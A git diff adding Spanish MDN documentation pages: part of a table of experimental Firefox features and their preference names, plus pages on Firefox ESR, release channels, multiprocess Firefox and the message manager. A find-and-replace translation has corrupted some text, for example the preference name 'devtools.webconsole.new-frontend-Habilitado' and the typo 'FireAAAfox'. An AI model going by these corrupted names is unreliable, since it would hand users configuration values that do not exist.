+    The property {{domxref("Event.timestamp")}} is returning a {{domxref("DOMHighResTimeStamp")}}, which is now relative to the Unix epoch.</td>
+   <td>32 (Windows)<br>
+    43 (Linux)</td>
+   <td>32 (Windows)<br>
+    43 (Linux)</td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1026804">No habilitado</a></td>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1026804">No habilitado</a></td>
+   <td><code>media.track.enabled</code></td>
+  </tr>
+  <tr id="pointer-events">
+   <td><strong>Pointer Events</strong></td>
+   <td>59</td>
+   <td>59<br>
+    <sub>(todavía no habilitado en Firefox para Android)</sub></td>
+   <td>59<br>
+    <sub>(todavía no habilitado en Firefox para Android)</sub></td>
+   <td>59<br>
+    <sub>(todavía no habilitado en Firefox para Android)</sub></td>
+   <td><code>dom.w3c_pointer_events.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Intersection Observer API</strong><br>
+    The {{domxref("Intersection Observer API")}} allows you to configure a callback that is called whenever one item, called a target, intersects either the device viewport or a specified element called.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 53)</sub></td>
+   <td>—</td>
+   <td>—</td>
+   <td>—</td>
+   <td><code>dom.IntersectionObserver.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API: KeyframeEffect and KeyframeEffectReadOnly</a></strong><br>
+    The {{domxref("KeyframEffectReadOnly()", "KeyframeEffectReadOnly.KeyframeEffectReadOnly()")}} and {{domxref("KeyframeEffect()", "KeyframeEffect.KeyframeEffect()")}} constructors can be used to clone existing {{domxref("KeyframeEffectReadOnly")}} object instances by being given the object to clone as their only parameter (see {{bug(1273784)}}.)</td>
+   <td>52</td>
+   <td>52</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>None</td>
+  </tr>
+  <tr>
+   <td><strong>{{domxref("PromiseRejectionEvent")}} and related features</strong><br>
+    Providing a way to monitor and more finely control the rejection of Promises.<br>
+     </td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>dom.promise_rejection_events.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong><a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a></strong><br>
+    Provides a web API for handling web-based payments.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 55)</sub></td>
+   <td><code>dom.payments.request.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Basic Card Payment API</strong><br>
+    Provides dictionaries that define data structures describing card payment types and payment responses for use in the Payment Request API. See {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 56)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 56)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 56)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 56)</sub></td>
+   <td><code>dom.payments.request.enabled</code></td>
+  </tr>
+  <tr>
+   <td><strong>Window.content only available to Chrome code</strong><br>
+    The proprietary {{domxref("Window.content")}} property is now only available to chrome (privileged) code, and not available to the web anymore ({{bug(864845)}}).</td>
+   <td>Habilitado<br>
+    <sub>(desde la versión 57)</sub></td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><strong>Disabling {{domxref("Navigator.registerContentHandler()")}}</strong><br>
+    This API is associated with a number of issues., and in addition we are the only browser that implements it. We are intending to remove it completely in the future, but for the moment we are disabling it in non-release versions to see if we get any significant web compat reports back.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>Habilitado</td>
+   <td><code>dom.registerContentHandler.enabled</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WebRTC">WebRTC</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>TCP ICE candidates</strong><br>
+    ICE candidates that use TCP rather than UDP are considered during ICE negotiation.</td>
+   <td>
+    <p>No habilitado<br>
+     41</p>
+
+    <p>Habilitado<br>
+     54</p>
+   </td>
+   <td>No habilitado<br>
+    41</td>
+   <td>No habilitado<br>
+    41</td>
+   <td>No habilitado<br>
+    41</td>
+   <td><code>media.peerconnection.ice.tcp</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Developer_Tools">Developer Tools</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr id="new-debugger-frontend">
+   <td><strong>Debugger rewrite in HTML</strong></td>
+   <td>52</td>
+   <td>52</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>devtools.debugger.new-debugger-frontend</code></td>
+  </tr>
+  <tr id="new-console-frontend">
+   <td><strong>Console rewrite in HTML</strong></td>
+   <td>52</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>devtools.webconsole.new-frontend-Habilitado</code></td>
+  </tr>
+  <tr id="performance-tool-options">
+   <td><strong>Experimental Performance tool options</strong><br>
+    Enables options in the UI for JIT optimizations, memory, etc.</td>
+   <td>41</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>devtools.performance.ui.experimental</code></td>
+  </tr>
+  <tr id="layout-side-panel">
+   <td><strong>Layout side panel</strong><br>
+    The Layout side panel allows to inspect and manage different CSS layout types like <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>.</td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 52)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 52)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 52)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 52)</sub></td>
+   <td><code>devtools.layoutview.enabled</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Security">Security</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Firefox Nightly</th>
+   <th scope="col">Firefox Developer Edition</th>
+   <th scope="col">Firefox Beta</th>
+   <th scope="col">Firefox Release</th>
+   <th scope="col">Preference</th>
+  </tr>
+  <tr>
+   <td><strong>TLS 1.3</strong></td>
+   <td>Habilitado</td>
+   <td>Habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>security.tls.version.max</code> to <code>4</code></td>
+  </tr>
+  <tr>
+   <td><strong>Block plain text requests from Flash plugins on encrypted pages</strong><br>
+    A pref has been added to treat mixed OBJECT_SUBREQUESTS as active content to mitigate MitM attacks due to plugins loading "risky" content. See {{bug(1190623)}} for more details.</td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado</td>
+   <td><code>security.mixed_content.block_object_subrequest </code>to <code>true</code></td>
+  </tr>
+  <tr>
+   <td><strong>{{domxref("SecurityPolicyViolationEvent")}}, and the <code>securitypolicyviolation</code> event</strong><br>
+    Allows developers to programmatically respond to <a href="/en-US/docs/Web/HTTP/CSP">CSP</a> violations.</td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>Habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado</td>
+   <td><code>security.csp.enable_violation_events</code></td>
+  </tr>
+  <tr>
+   <td>
+    <p><strong>"Insecure connection" icon display for non-HTTPS sites</strong><br>
+     Firefox 59 has two new preferences, No habilitado by default, which when Habilitado cause a lock with a strike-through to appear in the address bar when a non-HTTPS site is loaded. This work is part of the preparation for moving to a completely HTTPS web, the idea being that in the near future insecure sites will be specially indicated, rather than secure sites.</p>
+   </td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>No habilitado<br>
+    <sub>(disponible desde la versión 59)</sub></td>
+   <td>
+    <p><code>security.insecure_connection_icon.enabled</code> for non-private browsing</p>
+
+    <p><code>security.insecure_connection_icon.pbmode.enabled</code> for private browsing</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><strong>{{httpheader("Origin")}} header sent for non-CORS requests</strong><br>
+     To mitigate CSRF attacks, the <code>Origin</code> header should be sent with non-CORS requests unless they are <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> or <code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code> ({{bug(446344)}}). We currently only send <code>Origin</code> on CORS requests.</p>
+   </td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td>No habilitado</td>
+   <td><code>network.http.sendOriginHeader</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Consultar_también">Consultar también</h2>
+
+<ul>
+ <li><a href="/es/Firefox/Releases">Notas de desarrollo de Firefox para desarrolladores</a></li>
+ <li><a href="https://nightly.mozilla.org/">Firefox Nightly</a></li>
+ <li><a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a></li>
+</ul>
diff --git a/files/es/mozilla/firefox/firefox_esr/index.html b/files/es/mozilla/firefox/firefox_esr/index.html
new file mode 100644
index 0000000000..af8625e1c3
--- /dev/null
+++ b/files/es/mozilla/firefox/firefox_esr/index.html
@@ -0,0 +1,13 @@
+---
+title: Firefox ESR
+slug: Mozilla/Firefox/Firefox_ESR
+tags:
+  - Necesita revisión
+translation_of: Mozilla/Firefox/Firefox_ESR
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p><em>Firefox Extended Support Release (ESR)</em> se basa en una versión oficial de Firefox para el escritorio para su uso por organizaciones que necesitan soporte extendido para implementaciones masivas. La diferencia de otros canales de lanzamiento, las ESR no se actualizan con nuevas características cada seis semanas. En su lugar, son compatibles durante alrededor de un año, actualizándose con importantes soluciones de seguridad o estabilidad. La versión actual de ESR es basa en Firefox 52 emitida el 7 de marzo de 2017. La próxima versión de ESR será el número 59.<br>
+ <br>
+ <br>
+ Animamos firmemente a los usuarios de Firefox ESR que se inscriban en la lista de correo del grupo <em><a href="https://www.mozilla.org/en-US/firefox/organizations/">Enterprise Working Group (EWG)</a></em>.</p>
diff --git a/files/es/mozilla/firefox/index.html b/files/es/mozilla/firefox/index.html
new file mode 100644
index 0000000000..50b34f27e5
--- /dev/null
+++ b/files/es/mozilla/firefox/index.html
@@ -0,0 +1,73 @@
+---
+title: Firefox
+slug: Mozilla/Firefox
+tags:
+  - Firefox
+  - Mozilla
+  - Página de Llegada
+translation_of: Mozilla/Firefox
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/">Firefox</a> es el popular navegador Web de Mozilla, disponible para múltiples plataformas incluyendo Windows, OS X, y Linux en las máquinas de escritorio así como en los dispositivos móviles basados en Android e iOS. Su amplia compatibilidad, su adaptación a las más recientes tecnologías Web y poderosas herramientas de desarrollo, hacen de Firefox la elección por excelencia para desarrolladores Web y también para usuarios finales.</p>
+
+<p>Firefox es un proyecto de código abierto; la mayor parte del código lo aporta nuestra gran comunidad de voluntarios. Aquí aprenderás a contribuir al proyecto de Firefox y también encontrarás enlaces a información sobre la creación de complementos de Firefox, utilizando las herramientas de desarrollo de Firefox, y otros temas.</p>
+
+<div class="summary">
+<p>Aprende a crear complementos para <a class="external external-icon" href="https://www.mozilla.org/es-ES/firefox/new/">FireAAAfox</a>, cómo desarrollar y construir Firefox y cómo funciona Firefox desde dentro y sus subproyectos.</p>
+</div>
+
+<ul class="card-grid">
+ <li><span>Notas de la Versión para Desarrolladores</span>
+
+  <p><a href="/es/docs/Mozilla/Firefox/Releases">Notas de la versión centrada para Desarrolladores</a>; descubre qué nuevas capacidades llegan en cada nueva versión de Firefox, tanto para sitios Web como para complementos.</p>
+ </li>
+ <li><span>Documentación del proyecto</span>
+  <p>Obtén información detallada sobre <a href="/es/docs/Mozilla"> el funcionamiento interno de Firefox </a> y su sistema de creación, para que puedas entender bien el código.</p>
+ </li>
+ <li><span>Guía del Desarrollador</span>
+  <p>Nuestra <a href="/es/docs/Developer_Guide">guía del desarrollador</a> ofrece detalles sobre cómo obtener y compilar el código fuente de Firefox, cómo entenderlo y cómo contribuir al proyecto.</p>
+ </li>
+</ul>
+
+<h2 id="Firefox_channels">Firefox channels</h2>
+
+<p>Firefox está disponible en cinco <strong>canales</strong>.</p>
+
+<h3 id="Firefox_Nightly">Firefox Nightly</h3>
+
+<p>Cada noche, creamos Firefox a partir del más reciente código disponible en <a href="/es/docs/mozilla-central">mozilla-central</a>. Esta estructura es ideal para los desarrolladores de Firefox y para quienes quieran probar las últimas características de vanguardia mientras están aún en un desarrollo activo.</p>
+
+<p><a class="external external-icon" href="https://nightly.mozilla.org/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox Nightly</a></p>
+
+<h3 id="Firefox_Developer_Edition">Firefox Developer Edition</h3>
+
+<p>Esta es una versión de Firefox hecha a la medida de desarrolladores. Cada seis semanas, cogemos las características de Firefox Nightly que son lo suficientemente estables y creamos una nueva versión de Firefox Developer Edition. Además, añadimos algunas características adicionales que solo están disponibles en este canal.</p>
+
+<p><a href="/es/docs/Firefox/Developer_Edition">Descubre más sobre</a><a href="/es/docs/Firefox/Developer_Edition"> Firefox Developer Edition</a>.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox Developer Edition</a></p>
+
+<h3 id="Firefox_Beta">Firefox Beta</h3>
+
+<p>Después de pasar seis semanas en Firefox Developer Edition, elegimos las características que son lo suficientemente estables y creamos una nueva versión de Firefox Beta. La estructura de Firefox Beta builds está destinada especialmente a entusiastas que quieren probar el material destinado a convertirse en la siguiente versión de Firefox.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#beta" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox Beta</a></p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Después de estabilizarse durante otras seis semanas en Beta, estamos listos para enviar las nuevas características a cientos de millones de usuarios en el lanzamiento de una nueva versión de Firefox.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#firefox" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox</a></p>
+
+<h3 id="Firefox_Versión_de_Soporte_Extendida_ESR">Firefox Versión de Soporte Extendida (ESR)</h3>
+
+<p><span id="result_box" lang="es"><span>Firefox ESR es la edición de soporte a largo plazo de Firefox para escritorio para uso de grandes organizaciones, como escuelas, universidades, empresas y otras personas que necesitan un soporte extendido para implementaciones masivas.</span></span></p>
+
+<p><a href="https://developer.mozilla.org/es/Firefox/Firefox_ESR">Descubre más sobre Firefox Versión de Soporte Extendida</a>.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/organizations/all/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Descarga Firefox ESR</a></p>
+
+<h2 id="Perfiles_Firefox">Perfiles Firefox</h2>
+
+<p>Si sueles utilizar varios canales de Firefox—o simplemente varias configuraciones—, deberías leer <a href="https://developer.mozilla.org/es/docs/Mozilla/Firefox/Multiple_profiles">cómo utilizar varios perfiles Firefox</a> para que puedas adaptar a tus necesidades<span id="result_box" lang="es"><span> el Administrador de Perfiles de Firefox y otras herramientas de gestión de perfiles.</span></span></p>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/index.html b/files/es/mozilla/firefox/multiprocess_firefox/index.html
new file mode 100644
index 0000000000..139a345752
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/index.html
@@ -0,0 +1,75 @@
+---
+title: Firefox multiproceso
+slug: Mozilla/Firefox/Multiprocess_Firefox
+translation_of: Mozilla/Firefox/Multiprocess_Firefox
+---
+<div>{{FirefoxSidebar}}</div><p>En las versiones actuales de Firefox para escritorio, todo el navegador se ejecuta en un solo proceso del sistema operativo. Esto quiere decir que el código JavaScript que ejecuta la IU (interfaz de usuario) del navegador (también conocido como "código chrome") se ejecuta en el mismo proceso que el código de las página web (también conocido como "contenido" o "contenido web").<br>
+ <br>
+ Las versiones futuras de Firefox ejecutarán la interfaz de usuario del navegador en un proceso separado del contenido web. En la primera etapa de esta arquitectura, todas las pestañas del navegador se ejecutarán en el mismo proceso y la IU del navegador en un proceso diferent. En futuras etapas, esperamos tener más de un proceso de contenido. El proyecto de Firefox multiproceso es llamado Electrolysis, en ocasiones abreviado como e10s.</p>
+
+<p>Las páginas web normales no estarán afectadas por Firefox multiproceso. Quienes trabajen en Firefox en sí mismo y desarrolladores de complementos para Firefox estarán afectados si su código se basa en acceder al contenido web directamente.</p>
+
+<p>En lugar de acceder al contenido web directamente, el código JavaScript deberá usar el <a href="/Firefox/Multiprocess_Firefox/Message_manager">administrador de mensajes</a> para acceder al contenido. Para facilitar la transición hemos implementado <a href="/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">contenedores de objetos de multiproceso</a> y algunas <a href="/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts#Compatibility_shims">capas de compatibilidad para complementos</a>. Si eres un desarrollador de complementos y deseas saber cómo estrás afectado, revisa la <a href="/Mozilla/Add-ons/Working_with_multiprocess_Firefox">guía para trabajar con Firefox multiproceso</a>.</p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Technical_overview">Repaso técnico</a></dt>
+ <dd>Una vista de alto nivel acerca de cómo se está implementando Firefox multiproceso.</dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Web_content_compatibility">Guía de compatibilidad para contenido web</a></dt>
+ <dd>Directrices y detalles acerca de problemas potenciales de compatiblidad en sitios web que podrían ocurrir debido a la transición. Tip: ¡No son muchos!</dd>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Glossary">Glosario</a></dt>
+ <dd>Una referencia de la jerga usada en Firefox multiproceso.</dd>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Message_Manager">Administrador de mensajes</a></dt>
+ <dd>Una guía completa a los objetos usados para comunicarse entre el código chrome y el contenido.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/SDK/Guides/Multiprocess_Firefox_and_the_SDK">Complementos basados en el SDK</a></dt>
+ <dd>Cómo migrar complementos creados utilizando el SDK de complementos.</dd>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Which_URIs_load_where">Dónde se carga cada URI</a></dt>
+ <dd>Una guía rápida a qué URIs - chrome:, about:, file:, resource: - se cargan en cada proceso.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Motivation">Motivación</a></dt>
+ <dd>Por qué estamos implementando Firefox multiproceso: rendimiento, seguridad y estabilidad.</dd>
+ <dt><a href="/Mozilla/Add-ons/Working_with_multiprocess_Firefox">Guía para la migración de complementos</a></dt>
+ <dd>Si eres un desarollador de complementos, entérate cómo estás afectado y cómo actualizar tu código.</dd>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">Contenedores de objetos multiproceso</a></dt>
+ <dd>Los contenedores de objetos multiproceso ayudan a la migración, dando al código chrome acceso síncrono al contenido.</dd>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Debugging_frame_scripts">Depurando procesos de firefox</a></dt>
+ <dd>Cómo depurar código en el proceso de contenido, incluyendo scripts de marco y proceso.</dd>
+ <dt><a href="/docs/Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox">Selección de pestañas en Firefox multiproceso</a></dt>
+ <dd>Cómo funciona el cambio de pestañas en Firefox multiproceso.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts">Limitaciones de los scripts chrome</a></dt>
+ <dd>Prácticas que ya no funcionan en el código chrome, y cómo solucionarlas.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">Limitaciones de los scripts de marco</a></dt>
+ <dd>Prácticas que no funcionarán en los scripts de marco, y qué hacer en su lugar.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Contáctanos">Contáctanos</h2>
+
+<p>Entérate más acerca del proyecto, involúcrate o pregúntanos tus dudas.</p>
+
+<ul>
+ <li><strong>Página del proyecto Electrolysis</strong>: <a href="https://wiki.mozilla.org/Electrolysis">https://wiki.mozilla.org/Electrolysis</a></li>
+ <li><strong>IRC</strong>: #e10s en <a href="https://wiki.mozilla.org/IRC">irc.mozilla.org</a></li>
+ <li><strong>Lista de correo</strong>: <a href="https://groups.google.com/forum/#!forum/mozilla.dev.tech.electrolysis">dev.tech.electrolysis</a></li>
+</ul>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/message_manager/index.html b/files/es/mozilla/firefox/multiprocess_firefox/message_manager/index.html
new file mode 100644
index 0000000000..5d3214a425
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/message_manager/index.html
@@ -0,0 +1,74 @@
+---
+title: Message manager
+slug: Mozilla/Firefox/Multiprocess_Firefox/Message_Manager
+tags:
+  - API
+  - Guide
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Message_Manager
+---
+<div>{{FirefoxSidebar}}</div><p>Message managers provide a way for chrome-privileged JavaScript code to communicate across process boundaries. They are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web content while the browser is running web content in a separate process.</p>
+
+<p>These guides explain how to use message managers in multiprocess Firefox.</p>
+
+<p>Note that none of this requires multiprocess Firefox: everything described here will work with single-process Firefox, so the same code will work on both variants.</p>
+
+<hr>
+<h2 id="Guides">Guides</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Message_manager_overview">Message manager overview</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Frame_script_loading_and_lifetime">Frame script loading and lifetime</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Communicating_with_frame_scripts">Communicating with frame scripts</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Performance">Performance Best Practices</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Frame_script_environment">Frame script environment</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/_Limitations_of_frame_scripts">Limitations of frame scripts</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Process_scripts">Process scripts</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="API_reference">API reference</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFrameScriptLoader">nsIFrameScriptLoader</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager">nsIMessageListenerManager</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageBroadcaster">nsIMessageBroadcaster</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageSender">nsIMessageSender</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISyncMessageSender">nsISyncMessageSender</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentFrameMessageManager">nsIContentFrameMessageManager</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProcessScriptLoader">nsIProcessScriptLoader</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/message_manager/process_scripts/index.html b/files/es/mozilla/firefox/multiprocess_firefox/message_manager/process_scripts/index.html
new file mode 100644
index 0000000000..f6011c7836
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/message_manager/process_scripts/index.html
@@ -0,0 +1,81 @@
+---
+title: Process scripts
+slug: Mozilla/Firefox/Multiprocess_Firefox/Message_Manager/Process_scripts
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Message_Manager/Process_scripts
+---
+<div>{{FirefoxSidebar}}</div><div class="geckoVersionNote">
+<p>Los scripts de proceso son nuevos en Firefox 38.</p>
+</div>
+
+<div class="note">
+<p>Si esta utilizando el addon sdk, puede utilizar el <a href="/en-US/docs/Mozilla/Add-ons/SDK/Low-Level_APIs/remote_parent">remote/parent</a> módulo <code>remoteRequire</code> en su lugar.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span>Cuando necesite ejecutar código en el proceso de contenido para acceder al contenido web, debe utilizar secuencias de</span></span> frame scripts. <span id="result_box" lang="es"><span>Sin embargo, un problema con</span></span> los scripts <span id="result_box" lang="es"><span>es que se pueden cargar varias veces en el proceso de contenido, en varios ámbitos que están aislados unos de otros.</span> <span>Por ejemplo, si llama a la funcion </span></span><code>loadFrameScript()</code> del gestor de mensajes de script, <span id="result_box" lang="es"><span>entonces el script se cargará por separado en todas las pestañas abiertas.</span> <span>Esto puede causar un problema que las secuencias de scripts de trama están interactuando con un servicio global en el proceso de contenido.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Por ejemplo, en multiprocesos Firefox, si necesita usar</span></span> <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPolicy">nsIContentPolicy</a></code> to register a content policy, <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts#nsIContentPolicy">you must do this in the content process</a>. <span id="result_box" lang="es"><span>para registrar una política de contenido, debe hacerlo en el proceso de contenido.</span> <span>Pero si lo registra en una secuencia de frame script la secuencia de frame script se carga más de una vez, registrará la política de contenido más de una vez, lo que probablemente no es lo que pretende.</span></span></p>
+
+<p>De forma similar, algunas notificaciones de observadores deben registrarse en el frame script, pero si lo hace en una secuencia de frame scrip, se cargara más de una vez, recibirá varias notificaciones, para ese evento.</p>
+
